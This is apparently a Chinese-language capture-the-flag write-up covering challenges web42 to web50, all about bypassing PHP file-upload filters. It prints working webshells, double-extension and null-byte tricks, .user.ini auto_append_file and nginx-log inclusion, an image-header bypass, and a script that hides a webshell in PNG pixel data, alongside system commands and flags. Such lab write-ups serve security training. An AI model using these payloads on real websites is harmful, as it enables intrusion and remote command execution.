web42-48
web42
开启环境后,发现是一个上传窗口
尝试上传一句话木马
<?php
//一句话木马
eval($_POST[1]);
?>
上传成功,但是发现后缀被过滤了
于是接下来进行抓包改后缀
但是依然被过滤
如此双写绕过构造成功上传,因为网页逻辑是将php
改为空
成功远程命令执行
成功找到flag
flag{1ca82bdc-7b0b-4952-8333-acfae217a823}
原理
- php的文件上传绕过
后缀替换为空时,我们通过提交1.pphphp
替换php为空后,得到1.php
成功写入木马php
替换为txt
时,我们无法双写绕过 php文件上传的00截断(古老漏洞)
- hello world
- hello空格world\n\00
123.php
明显不让直接上传
123.php%00.jpg
那么后台判断的时候,取左后一个点后面的字符作为后缀jpg
看起来时合法的文件名称
web43
开启环境后,继续上传,发现只允许txt后缀文件
改名了txt
后再试一下,成功传入
在网站后缀中加入/123.txt
,可以控制
成功获取flag
flag{9e3f515f-3418-4774-a26a-66a88a930237}
题目是基于php错误配置,不是通用方法
web44
开启环境也是一个上传题目,我们先上传配置文件
.user.ini
auto_append_file =123.txt
然后上传123.txt
测试成功
i am 123.txt
<?php
phpinfo();
?>
成功远程命令执行
之后进行system控制
找到flag
i am 123.txt
<?php
system("ls /");
?>
<?php
system("tac /f*");
?>
flag{91a3851a-9405-4e9f-8cfb-6ffcc0524081}
web45
开启环境后,发现会检测上传文件的类型
之后还得借用配置文件,我们先进行二分法确定什么会被过滤
<?php
eval($_POST[1]);
?>
<?php
eval($_
说明这前一半就非法了
<?php
所以很可能是php,换成短标签,成功上传
<?=
<?=eval($_POST[1]);?>
<?=eval($_GET[1]);?>
发现GET
和POST
都不行,我们换用REQUEST
和COOKIE
都试一下,都不行
<?=eval($_REQUEST[1]);?>
<?=eval($_COOKIE[1]);?>
去掉最后的?>
,再试一下
<?=eval($_COOKIE[1]);
cookie传入
eval(base64_decode('cGhwaW5mbygpOw=='));?>
暂时未解决
web46
开启环境,借助伪协议的一道题
还是先传入配置文件,和321.txt
,发现
同样进行2分法进行排除
<?
< ?
<script language="php">
phpinfo();
</script>
但是在首页查看源码可以发现,没有被解析出来
于是也不能用这个来进行
只能通过绕过,配合伪协议
在.user.ini
中
于是抓包附加数据,修改为POST
神奇的输出了
于是得到flag
flag{11d47557-455d-430d-8664-b29fee0576a3}
web47
开启环境后依然是一个文件上传
重试伪协议
可以得到flag
flag{c35b8690-effc-4662-95da-886adb1eec53}
当然还有其他方法,利用日志
auto_append_file = /var/log/nginx/access.log
成功通过日志包含
web48
开启环境后进行上传,发现此处需要图片
所以需要我们绕过函数
#define width 100;
#define height 100;
auto_append_file = /var/log/nginx/access.log
上传成功
得到flag
flag{d2826f59-0945-440c-988d-279e5c6800c3}
web49
开启环境后跟刚才基本完全一样的操作
得到flag
flag{5997060c-34c6-4f40-8858-8330592976cd}
web50
开启环境依旧是一个上传空间
+<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
生成图片后上传
在图片也就是木马存放的位置进行抓包
改成POST传参,0
是函数名,1
是参数
得到flag
flag{20de3ab1-2ef2-4ef2-9404-977d2266c7aa}